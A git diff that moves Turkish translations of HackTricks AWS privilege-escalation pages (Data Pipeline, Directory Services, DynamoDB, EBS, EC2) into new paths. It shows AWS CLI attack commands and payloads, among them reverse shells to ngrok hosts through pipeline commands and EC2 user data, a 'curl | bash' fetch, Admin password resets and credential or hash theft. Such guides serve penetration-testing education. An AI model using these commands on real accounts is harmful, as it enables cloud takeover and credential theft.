-"maximumRetries": "1",
-"instanceType": "t2.micro",
-"securityGroups": ["default"],
-"role": "assumable_datapipeline",
-"resourceRole": "assumable_ec2_profile_instance"
-}
-]
-}
-```
-> [!NOTE]
-> **14, 15 ve 27. satırdaki** **rolün** **datapipeline.amazonaws.com** tarafından **üstlenilebilir** bir rol olması gerektiğini unutmayın ve **28. satırdaki** rolün **ec2.amazonaws.com tarafından üstlenilebilir bir rol ve bir EC2 profil örneği** olması gerektiğini unutmayın.
->
-> Ayrıca, EC2 örneği yalnızca EC2 örneği tarafından üstlenilebilir role erişime sahip olacaktır (bu nedenle yalnızca o rolü çalabilirsiniz).
-```bash
-aws datapipeline put-pipeline-definition --pipeline-id  \
---pipeline-definition file:///pipeline/definition.json
-```
-Saldırgan tarafından oluşturulan **pipeline tanım dosyası, komutları çalıştırmak veya kaynaklar oluşturmak için AWS API'sini kullanma talimatlarını içerir**, Data Pipeline'ın rol izinlerini kullanarak potansiyel olarak ek ayrıcalıklar elde etme amacı taşır.
-
-**Potansiyel Etki:** Belirtilen ec2 hizmet rolüne doğrudan ayrıcalık yükseltme.
-
-## Referanslar
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
new file mode 100644
index 000000000..8e04ce91c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
@@ -0,0 +1,68 @@
+# AWS - Datapipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## datapipeline
+
+Datapipeline hakkında daha fazla bilgi için bakınız:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
+
+Bu **izinlere sahip kullanıcılar, bir Data Pipeline oluşturarak ayrıcalık yükseltebilir** ve atanan rolün **izinlerini kullanarak** keyfi komutlar çalıştırabilirler:
+```bash
+aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
+```
+Pipeline oluşturulduktan sonra, saldırgan tanımı belirli eylemleri veya kaynak oluşturmayı yönlendirecek şekilde günceller:
+```json
+{
+"objects": [
+{
+"id": "CreateDirectory",
+"type": "ShellCommandActivity",
+"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
+"runsOn": { "ref": "instance" }
+},
+{
+"id": "Default",
+"scheduleType": "ondemand",
+"failureAndRerunMode": "CASCADE",
+"name": "Default",
+"role": "assumable_datapipeline",
+"resourceRole": "assumable_datapipeline"
+},
+{
+"id": "instance",
+"name": "instance",
+"type": "Ec2Resource",
+"actionOnTaskFailure": "terminate",
+"actionOnResourceFailure": "retryAll",
+"maximumRetries": "1",
+"instanceType": "t2.micro",
+"securityGroups": ["default"],
+"role": "assumable_datapipeline",
+"resourceRole": "assumable_ec2_profile_instance"
+}
+]
+}
+```
+> [!NOTE]
+> Unutmayın ki **satır 14, 15 ve 27**'deki **role**, **assumable by datapipeline.amazonaws.com** olmalı; **satır 28**'deki **role** ise **assumable by ec2.amazonaws.com with a EC2 profile instance** olmalıdır.
+>
+> Ayrıca, EC2 instance yalnızca **role assumable by the EC2 instance**'a erişebilecektir (yani sadece onu çalabilirsiniz).
+```bash
+aws datapipeline put-pipeline-definition --pipeline-id  \
+--pipeline-definition file:///pipeline/definition.json
+```
+The **saldırgan tarafından hazırlanmış pipeline tanım dosyası, komut çalıştırma** veya AWS API aracılığıyla kaynak oluşturma yönergeleri içerir; Data Pipeline'ın rol izinlerini kullanarak saldırgan potansiyel olarak ek ayrıcalıklar elde edebilir.
+
+**Olası Etki:** Belirtilen ec2 service role'a doğrudan privesc.
+
+## Referanslar
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
deleted file mode 100644
index 8202ff030..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Dizin Hizmetleri Yetki Yükseltme
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Dizin Hizmetleri
-
-Dizin hizmetleri hakkında daha fazla bilgi için kontrol edin:
-
-{{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
-{{#endref}}
-
-### `ds:ResetUserPassword`
-
-Bu izin, Active Directory'deki herhangi bir **mevcut** kullanıcının **şifresini** **değiştirmeye** olanak tanır.\
-Varsayılan olarak, tek mevcut kullanıcı **Admin**'dir.
-```
-aws ds reset-user-password --directory-id  --user-name Admin --new-password Newpassword123.
-```
-### AWS Yönetim Konsolu
-
-AD'den kullanıcıların giriş yapabileceği bir **uygulama erişim URL'si** etkinleştirmek mümkündür:
-
-
- -Ve ardından giriş yaptıklarında onlara **bir AWS IAM rolü** vermek, bu şekilde bir AD kullanıcısı/grubu AWS yönetim konsoluna erişim sağlayacaktır: - -
- -Görünüşe göre uygulama erişim URL'sini etkinleştirmek, AWS Yönetim Konsolu'nu ve izin vermek için herhangi bir yol yoktur. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md new file mode 100644 index 000000000..96456e2be --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md @@ -0,0 +1,32 @@ +# AWS - Directory Services Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Directory Services + +Directory Services hakkında daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-directory-services-workdocs-enum.md +{{#endref}} + +### `ds:ResetUserPassword` + +Bu izin, Active Directory'deki herhangi bir **mevcut** kullanıcının **parola**sını **değiştirmeyi** sağlar.\ +Varsayılan olarak, mevcut tek kullanıcı **Admin**'dir. +``` +aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. +``` +### AWS Management Console + +AD'deki kullanıcıların oturum açmak için erişebileceği bir **uygulama erişim URL'si** etkinleştirmek mümkün: + +
+ +Ve ardından, giriş yaptıklarında onlara **bir AWS IAM role vermek** mümkün; bu şekilde bir AD kullanıcı/grubu AWS Management Console'a erişim sahibi olur: + +
+ +Görünüşe göre uygulama erişim URL'sini etkinleştirmenin, AWS Management Console'u açmanın ve izin vermenin bir yolu yok. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md deleted file mode 100644 index 5b9ee6fe5..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ /dev/null @@ -1,72 +0,0 @@ -# AWS - DynamoDB Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## dynamodb - -DynamoDB hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### `dynamodb:PutResourcePolicy`, ve isteğe bağlı olarak `dynamodb:GetResourcePolicy` - -Mart 2024'ten itibaren, AWS DynamoDB için *kaynak tabanlı politikalar* sunmaktadır ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). - -Yani, bir tablo için `dynamodb:PutResourcePolicy`'ye sahipseniz, kendinize veya başka bir kullanıcıya tabloya tam erişim verebilirsiniz. - -`dynamodb:PutResourcePolicy`'yi rastgele bir kullanıcıya vermek genellikle yanlışlıkla olur; eğer yöneticiler `dynamodb:Put*` vermenin yalnızca kullanıcının veritabanına öğe eklemesine izin vereceğini düşünürse - ya da bu izin setini Mart 2024'ten önce verdilerse... - -İdeal olarak, diğer potansiyel olarak hayati izinleri geçersiz kılmamak için `dynamodb:GetResourcePolicy`'ye de sahip olmalısınız, böylece yalnızca ihtiyaç duyduğunuz ek izinleri ekleyebilirsiniz: -```bash -# get the current resource based policy (if it exists) and save it to a file -aws dynamodb get-resource-policy \ ---resource-arn \ ---query 'Policy' \ ---output text > policy.json -``` -Eğer mevcut politikayı alamıyorsanız, sadece aşağıdaki politikayı kullanın; bu, tablonuz üzerinde tam erişim sağlar: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "FullAccessToDynamoDBTable", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::/" -}, -"Action": [ -"dynamodb:*" -], -"Resource": [ -"arn:aws:dynamodb:::table/" -] -} -] -} -``` -Eğer bunu özelleştirmeniz gerekiyorsa, işte tüm olası DynamoDB eylemlerinin bir listesi: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Ve burada bir kaynak tabanlı politika aracılığıyla izin verilebilecek tüm eylemlerin bir listesi *VE bunlardan hangilerinin hesaplar arası kullanılabileceği (veri sızdırma düşünün!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) - -Şimdi, `policy.json` politika belgesi hazır olduğuna göre, kaynak politikasını ekleyin: -```bash -# put the new policy using the prepared policy file -# dynamodb does weirdly not allow a direct file upload -aws dynamodb put-resource-policy \ ---resource-arn \ ---policy "$(cat policy.json)" -``` -Artık ihtiyaç duyduğunuz izinlere sahip olmalısınız. - -### Post Exploitation - -Bildiğim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de yetki yükseltmenin **başka doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (bu bilgiler AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi zaten **DynamoDB Post Exploitation sayfasında** dikkate alınmıştır: - -{{#ref}} -../aws-post-exploitation/aws-dynamodb-post-exploitation.md -{{#endref}} - -### TODO: Veri Akışlarını kötüye kullanarak veri oku - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md new file mode 100644 index 000000000..dc7833543 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md @@ -0,0 +1,72 @@ +# AWS - DynamoDB Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## dynamodb + +dynamodb hakkında daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### `dynamodb:PutResourcePolicy`, ve isteğe bağlı olarak `dynamodb:GetResourcePolicy` + +Mart 2024'ten beri, AWS DynamoDB için *kaynak tabanlı politikalar* sunuyor ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +Bu yüzden, bir tablo için `dynamodb:PutResourcePolicy` iznine sahipseniz, kendinize veya herhangi bir diğer principal'a tablonun tam erişimini verebilirsiniz. + +Rastgele bir principal'e `dynamodb:PutResourcePolicy` vermek çoğunlukla kazara olur; eğer yöneticiler `dynamodb:Put*` vermenin sadece principal'in veritabanına item koymasına izin vereceğini düşünürse — veya bu permissionset'i Mart 2024'ten önce vermişlerse... + +İdeal olarak ayrıca `dynamodb:GetResourcePolicy` izniniz de olur, böylece diğer muhtemelen hayati izinleri üzerine yazmaz, sadece ihtiyacınız olan ek izinleri enjekte edersiniz: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +Mevcut politikayı alamıyorsanız, tablo üzerinde principal'inize tam erişim veren bu politikayı kullanın: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +Eğer bunu özelleştirmeniz gerekirse, tüm olası DynamoDB eylemlerinin listesi burada: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Ve resource based policy ile izin verilebilecek tüm eylemlerin ve bunlardan hangilerinin cross-account olarak kullanılabileceğinin (düşünün data exfiltration!) listesi burada: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Şimdi, policy document `policy.json` hazırsa, resource policy'i yerleştirin: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +Şimdi ihtiyacınız olan izinlere sahip olmalısınız. + +### Post Exploitation + +Bildiğim kadarıyla **sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS üzerinde ayrıcalıkları yükseltmenin başka doğrudan bir yolu yoktur**. Tablolardan **hassas bilgileri okuyabilir** (bu bilgiler AWS credentials içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, lambda code injections... gibi diğer zafiyetleri tetikleyebilir) fakat tüm bu seçenekler zaten **DynamoDB Post Exploitation page** içinde ele alınmıştır: + +{{#ref}} +../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +{{#endref}} + +### TODO: data Streams'ı suistimal ederek veri okuma + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md deleted file mode 100644 index a422816fc..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - EBS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EBS - -### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` - -Bu izinlere sahip bir saldırgan, **hacim anlık görüntülerini yerel olarak indirme ve analiz etme** yeteneğine sahip olabilir ve bunlarda hassas bilgileri (şifreler veya kaynak kodu gibi) arayabilir. Bunu nasıl yapacağınızı öğrenin: - -{{#ref}} -../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md -{{#endref}} - -`ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` gibi diğer izinler de faydalı olabilir. - -[https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) aracı, **bir etki alanı denetleyicisinden şifreleri çıkarmak için** bu saldırıyı gerçekleştirir. - -**Olası Etki:** Anlık görüntüde hassas bilgileri bulma yoluyla dolaylı privesc (Active Directory şifrelerini bile elde edebilirsiniz). - -### **`ec2:CreateSnapshot`** - -**`EC2:CreateSnapshot`** iznine sahip herhangi bir AWS kullanıcısı, **Etki Alanı Denetleyicisinin anlık görüntüsünü** oluşturarak tüm etki alanı kullanıcılarının hash'lerini çalabilir, bunu kontrol ettikleri bir örneğe monte ederek ve **NTDS.dit ve SYSTEM** kayıt defteri hibe dosyasını Impacket'in secretsdump projesi ile kullanmak üzere dışa aktararak yapabilir. - -Bu aracı saldırıyı otomatikleştirmek için kullanabilirsiniz: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) veya bir anlık görüntü oluşturduktan sonra önceki tekniklerden birini kullanabilirsiniz. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md new file mode 100644 index 000000000..dd822b00f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md @@ -0,0 +1,27 @@ +# AWS - EBS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EBS + +### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` + +Bu izinlere sahip bir saldırgan, **volume snapshot'larını yerel olarak indirip analiz edebilir** ve bunlarda (örneğin secrets veya source code gibi) hassas bilgiler arayabilir. Bunu nasıl yapacağınızı şurada bulun: + +{{#ref}} +../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +{{#endref}} + +Diğer faydalı olabilecek izinler: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` + +The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) bu saldırıyı gerçekleştirerek **domain controller'dan parolaları çıkartır**. + +**Potential Impact:** Snapshot içinde hassas bilgi bularak dolaylı privesc (hatta Active Directory parolalarını bile alabilirsiniz). + +### **`ec2:CreateSnapshot`** + +Herhangi bir AWS kullanıcısı **`EC2:CreateSnapshot`** iznine sahipse, bir **Domain Controller'ın snapshot'ını** oluşturarak bunu kontrol ettikleri bir instance'a bağlayıp **NTDS.dit ve SYSTEM** kayıt defteri hive dosyasını dışa aktararak tüm domain kullanıcılarının hash'lerini çalabilir; bu dosyalar Impacket'ın secretsdump projesinde kullanılabilir. + +Saldırıyı otomatikleştirmek için bu aracı kullanabilirsiniz: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) veya snapshot oluşturduktan sonra önceki tekniklerden birini kullanabilirsiniz. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md deleted file mode 100644 index 70ef2c1b9..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ /dev/null @@ -1,261 +0,0 @@ -# AWS - EC2 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -Daha fazla **EC2 hakkında bilgi** için kontrol edin: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek** IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir. - -- **SSH ile Erişim** - -Yeni bir örnek çalıştırarak **oluşturulmuş** **ssh anahtarı** (`--key-name`) kullanın ve ardından buna ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir). -```bash -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= --key-name \ ---security-group-ids -``` -- **Kullanıcı verisinde rev shell ile erişim** - -Yeni bir örnek çalıştırabilirsiniz, bu örnek **kullanıcı verisi** (`--user-data`) kullanarak size bir **rev shell** gönderecektir. Bu şekilde güvenlik grubunu belirtmenize gerek yoktur. -```bash -echo '#!/bin/bash -curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh - -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= \ ---count 1 \ ---user-data "file:///tmp/rev.sh" -``` -Dikkatli olun, eğer IAM rolünün kimlik bilgilerini örneğin dışında kullanıyorsanız: - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md -{{#endref}} - -**Olası Etki:** Mevcut örnek profillerine bağlı herhangi bir EC2 rolüne doğrudan privesc. - -#### ECS'ye Privesc - -Bu izin seti ile **bir EC2 örneği oluşturabilir ve bunu bir ECS kümesine kaydedebilirsiniz**. Bu şekilde, ECS **hizmetleri** erişiminiz olan **EC2 örneği** içinde **çalıştırılacak** ve ardından bu hizmetlere (docker konteynerleri) sızabilir ve **bağlı ECS rollerini çalabilirsiniz**. -```bash -aws ec2 run-instances \ ---image-id ami-07fde2ae86109a2af \ ---instance-type t2.micro \ ---iam-instance-profile \ ---count 1 --key-name pwned \ ---user-data "file:///tmp/asd.sh" - -# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) -# The EC2 instance profile needs basic ECS access -# The content of the user data is: -#!/bin/bash -echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; -``` -ECS hizmetlerini bu yeni EC2 örneğinde **çalıştırmak için zorlamak** nasıl öğrenileceğini kontrol etmek için: - -{{#ref}} -aws-ecs-privesc.md -{{#endref}} - -Eğer **yeni bir örnek oluşturamıyorsanız** ama `ecs:RegisterContainerInstance` iznine sahipseniz, örneği küme içinde kaydedebilir ve belirtilen saldırıyı gerçekleştirebilirsiniz. - -**Olası Etki:** Görevlerle ilişkilendirilmiş ECS rollerine doğrudan privesc. - -### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** - -Önceki senaryoya benzer şekilde, bu izinlere sahip bir saldırgan **ele geçirilmiş bir örneğin IAM rolünü değiştirebilir** böylece yeni kimlik bilgilerini çalabilir.\ -Bir örnek profili yalnızca 1 role sahip olabileceğinden, eğer örnek profili **zaten bir role sahipse** (yaygın durum), ayrıca **`iam:RemoveRoleFromInstanceProfile`** iznine de ihtiyacınız olacaktır. -```bash -# Removing role from instance profile -aws iam remove-role-from-instance-profile --instance-profile-name --role-name - -# Add role to instance profile -aws iam add-role-to-instance-profile --instance-profile-name --role-name -``` -Eğer **örnek profil bir role sahipse** ve saldırgan **bunu kaldıramıyorsa**, başka bir çözüm yolu vardır. O, **rolü olmayan bir örnek profili bulabilir** veya **yeni bir tane oluşturabilir** (`iam:CreateInstanceProfile`), **rolü** o **örnek profiline** ekleyebilir (daha önce tartışıldığı gibi) ve **örnek profilini** ele geçirilmiş bir **örneğe** ilişkilendirebilir: - -- Eğer örnek **hiçbir örnek** profiline sahip değilse (`ec2:AssociateIamInstanceProfile`) -```bash -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinler veya belirli bir örnek profil durumuna sahip olmanız gerekir). - -### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) - -Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırı zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilecektir. - -- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **iliştirebilirsiniz**. -```bash -aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da -aws ec2 disassociate-iam-instance-profile --association-id -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -- veya **kullanılmış** örneğin **örnek profilini** değiştirin (`ec2:ReplaceIamInstanceProfileAssociation`). -```bash -aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id -``` -**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir). - -### `ec2:RequestSpotInstances`,`iam:PassRole` - -**`ec2:RequestSpotInstances` ve `iam:PassRole`** izinlerine sahip bir saldırgan, **bağlı bir EC2 Rolü** ve **kullanıcı verisinde** bir **rev shell** ile bir **Spot Instance** **talep edebilir**.\ -Örnek çalıştırıldığında, **IAM rolünü çalabilir**. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 request-spot-instances \ ---instance-count 1 \ ---launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" -``` -### `ec2:ModifyInstanceAttribute` - -**`ec2:ModifyInstanceAttribute`** yetkisine sahip bir saldırgan, örneklerin özelliklerini değiştirebilir. Bunlar arasında, **kullanıcı verisini değiştirebilir**, bu da örneğin **rastgele verileri çalıştırmasını** sağlar. Bu, **EC2 örneğine bir rev shell almak** için kullanılabilir. - -Özelliklerin yalnızca **örnek durdurulduğunda** **değiştirilebileceğini** unutmayın, bu nedenle **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`**. -```bash -TEXT='Content-Type: multipart/mixed; boundary="//" -MIME-Version: 1.0 - ---// -Content-Type: text/cloud-config; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="cloud-config.txt" - -#cloud-config -cloud_final_modules: -- [scripts-user, always] - ---// -Content-Type: text/x-shellscript; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="userdata.txt" - -#!/bin/bash -bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 ---//' -TEXT_PATH="/tmp/text.b64.txt" - -printf $TEXT | base64 > "$TEXT_PATH" - -aws ec2 stop-instances --instance-ids $INSTANCE_ID - -aws ec2 modify-instance-attribute \ ---instance-id="$INSTANCE_ID" \ ---attribute userData \ ---value file://$TEXT_PATH - -aws ec2 start-instances --instance-ids $INSTANCE_ID -``` -**Potansiyel Etki:** Oluşturulan bir örneğe bağlı herhangi bir EC2 IAM Rolüne doğrudan yetki yükseltme. - -### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` - -**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile **yeni bir Başlatma Şablonu sürümü** oluşturabilir ve **üzerinde herhangi bir EC2 IAM Rolü** bulundurabilir, varsayılan sürümü değiştirebilir ve **o Başlatma Şablonunu** kullanan **herhangi bir Autoscaler grubunun** **en son** veya **varsayılan sürümü** kullanacak şekilde **yapılandırılmış** olması durumunda, o şablonu kullanarak **örnekleri yeniden çalıştıracak** ve rev shell'i çalıştıracaktır. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 create-launch-template-version \ ---launch-template-name bad_template \ ---launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" - -aws ec2 modify-launch-template \ ---launch-template-name bad_template \ ---default-version 2 -``` -**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme. - -### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` - -**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip bir saldırgan, **IAM Rolü** ile birlikte bir **Launch Configuration** oluşturabilir ve **kullanıcı verisi** içine bir **rev shell** yerleştirebilir, ardından bu yapılandırmadan **bir autoscaling grubu** oluşturup rev shell'in **IAM Rolünü çalmasını** bekleyebilir. -```bash -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ ---launch-configuration-name bad_config \ ---image-id ami-0c1bc246476a5572b \ ---instance-type t3.micro \ ---iam-instance-profile EC2-CloudWatch-Agent-Role \ ---user-data "$REV" - -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ---auto-scaling-group-name bad_auto \ ---min-size 1 --max-size 1 \ ---launch-configuration-name bad_config \ ---desired-capacity 1 \ ---vpc-zone-identifier "subnet-e282f9b8" -``` -**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme. - -### `!autoscaling` - -**`ec2:CreateLaunchTemplate`** ve **`autoscaling:CreateAutoScalingGroup`** izinleri **yetkileri yükseltmek için yeterli değildir** çünkü Launch Configuration veya Launch Template'da belirtilen rolü eklemek için **`iam:PassRole` ve `ec2:RunInstances`** izinlerine ihtiyacınız vardır (bu bilinen bir yetki yükseltmedir). - -### `ec2-instance-connect:SendSSHPublicKey` - -**`ec2-instance-connect:SendSSHPublicKey`** iznine sahip bir saldırgan, bir kullanıcıya bir ssh anahtarı ekleyebilir ve bunu erişmek için kullanabilir (eğer örneğe ssh erişimi varsa) veya yetkileri yükseltmek için kullanabilir. -```bash -aws ec2-instance-connect send-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---instance-os-user "ec2-user" \ ---ssh-public-key "file://$PUBK_PATH" -``` -**Potansiyel Etki:** Çalışan örneklere bağlı EC2 IAM 